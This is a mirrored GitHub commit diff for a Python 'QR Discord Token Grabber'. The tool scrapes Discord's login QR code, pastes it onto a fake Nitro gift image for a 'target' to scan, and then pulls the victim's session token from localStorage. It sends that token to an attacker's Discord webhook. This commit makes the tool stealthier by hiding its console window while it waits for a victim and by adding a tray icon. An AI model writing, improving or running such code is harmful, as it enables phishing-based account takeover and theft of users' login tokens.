mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2026-11-03 16:59:06 +00:00
Merge pull request #20 from mouadessalim/main
Hiding console when waiting for target.
This commit is contained in:
3 files changed
+46
-23
No files matched your search
@@ -1,21 +1,17 @@
|
||||
import base64, os, platform, re, time, sys
|
||||
import base64, os, re, time, sys
|
||||
from requests import get
|
||||
from bs4 import BeautifulSoup
|
||||
from colorama import Fore, init
|
||||
from PIL import Image
|
||||
from selenium import webdriver
|
||||
from warnings import filterwarnings
|
||||
from selenium.webdriver.chrome.service import Service
|
||||
from discord_webhook import DiscordEmbed, DiscordWebhook
|
||||
from utilities import pystray_img
|
||||
from pystray import Menu, MenuItem, Icon
|
||||
from io import BytesIO
|
||||
import ctypes
|
||||
from threading import Thread
|
||||
|
||||
def clear() -> None:
|
||||
#Clear the screen; works with "cls" and "clear" commands.
|
||||
if platform.system() == "Windows":
|
||||
os.system("cls")
|
||||
elif platform.system() == "Darwin" or platform.system() == "Linux":
|
||||
os.system("clear")
|
||||
else:
|
||||
pass
|
||||
|
||||
def generate_qr() -> None:
|
||||
#Generate a QR code to paste onto a discord nitro template.
|
||||
qr_img = Image.open(os.path.normpath(r"resources/qr_code.png"), "r")
|
||||
@@ -63,7 +59,7 @@ def main(webhook_url) -> None:
|
||||
opts.add_experimental_option('excludeSwitches', ['enable-logging'])
|
||||
opts.headless = True
|
||||
opts.add_argument('--log-level 3')
|
||||
driver = webdriver.Chrome(os.path.normpath(r"browser/chromedriver.exe"), options=opts)
|
||||
driver = webdriver.Chrome(service=Service(os.path.normpath(r"browser/chromedriver.exe")), options=opts)
|
||||
driver.get("https://discord.com/login")
|
||||
time.sleep(5) # Make sure QR has fully loaded before taking source!
|
||||
source = BeautifulSoup(driver.page_source, features="lxml")
|
||||
@@ -88,8 +84,11 @@ the regular expression 'qrCode-......' is not found.")
|
||||
|
||||
print(f"""
|
||||
{Fore.LIGHTGREEN_EX}Generated QR as discord_gift.png!
|
||||
{Fore.BLUE}Waiting for target user to scan the QR code. . .""")
|
||||
|
||||
{Fore.BLUE}Waiting for target user to scan the QR code. . .
|
||||
""")
|
||||
pystray_icon.icon.notify("Script currently being hided until target grabbed.", 'Waiting for target')
|
||||
time.sleep(3)
|
||||
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
|
||||
while True:
|
||||
if discord_login != driver.current_url:
|
||||
token = driver.execute_script('''
|
||||
@@ -102,13 +101,15 @@ var token = JSON.parse(localStorage.token);
|
||||
return token;
|
||||
''')
|
||||
break
|
||||
|
||||
pystray_icon.icon.notify("The traget scanned the QR-code sucessfuly.", 'New Victim !')
|
||||
time.sleep(3)
|
||||
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1)
|
||||
print(f"""
|
||||
{Fore.LIGHTGREEN_EX}The following token has been grabbed: {token}
|
||||
|
||||
{Fore.LIGHTYELLOW_EX}Sending Info to Discord Webhook... {Fore.LIGHTWHITE_EX}""",
|
||||
end="")
|
||||
|
||||
driver.quit()
|
||||
webhook = DiscordWebhook(url=webhook_url, username='QR-Dtg', avatar_url="https://c.tenor.com/h3fCM442dCcAAAAC/discord-logo.gif")
|
||||
embed = DiscordEmbed(color='FF00FF')
|
||||
if re.search(r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) != None:
|
||||
@@ -136,14 +137,12 @@ end="")
|
||||
print(f"{Fore.LIGHTGREEN_EX}Information sended to webhook !")
|
||||
|
||||
if __name__ == "__main__":
|
||||
filterwarnings("ignore", category=DeprecationWarning)
|
||||
init()
|
||||
clear()
|
||||
os.system("cls")
|
||||
print(f"""
|
||||
|
||||
{Fore.GREEN}QR Discord Token Grabber
|
||||
{Fore.BLUE}Created by NightfallGT
|
||||
Using utilities.tk API
|
||||
Revised by Luci (9P9)
|
||||
Revised by Lemon.-_-.#3714 (mouadessalim)
|
||||
Revised by the-cult-of-integral
|
||||
@@ -151,6 +150,29 @@ Revised by mte0
|
||||
|
||||
{Fore.LIGHTYELLOW_EX}Enter a webhook URL.
|
||||
>>> {Fore.LIGHTWHITE_EX}""", end="")
|
||||
main(input())
|
||||
input(f'{Fore.LIGHTYELLOW_EX}>>>')
|
||||
print(f"{Fore.RESET}")
|
||||
|
||||
def pystray_icon():
|
||||
def window_state(icon, item):
|
||||
if str(item) == 'Show':
|
||||
return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1)
|
||||
elif str(item) == 'Hide':
|
||||
return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
|
||||
elif str(item) == 'Quit':
|
||||
pystray_icon.icon.stop()
|
||||
os._exit(0)
|
||||
|
||||
pystray_icon.icon = Icon('QR_DTG', Image.open(BytesIO(base64.b64decode(pystray_img))), menu=Menu(
|
||||
MenuItem('Show', window_state),
|
||||
MenuItem('Hide', window_state),
|
||||
MenuItem('Quit', window_state)
|
||||
))
|
||||
pystray_icon.icon.run()
|
||||
|
||||
Thread(target=pystray_icon).start()
|
||||
th_main = Thread(target=main, args=(input(),))
|
||||
th_main.start()
|
||||
while True:
|
||||
if not th_main.is_alive():
|
||||
pystray_icon.icon.stop()
|
||||
break
|
||||
time.sleep(1)
|
||||
@@ -1 +1 @@
|
||||
pip install beautifulsoup4 colorama lxml pillow requests selenium
|
||||
pip install beautifulsoup4 colorama lxml pillow requests selenium discord_webhook pystray
|
||||
@@ -0,0 +1 @@
|
||||
pystray_img = "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 truncated
|
||||
Reference in new issue
Block a user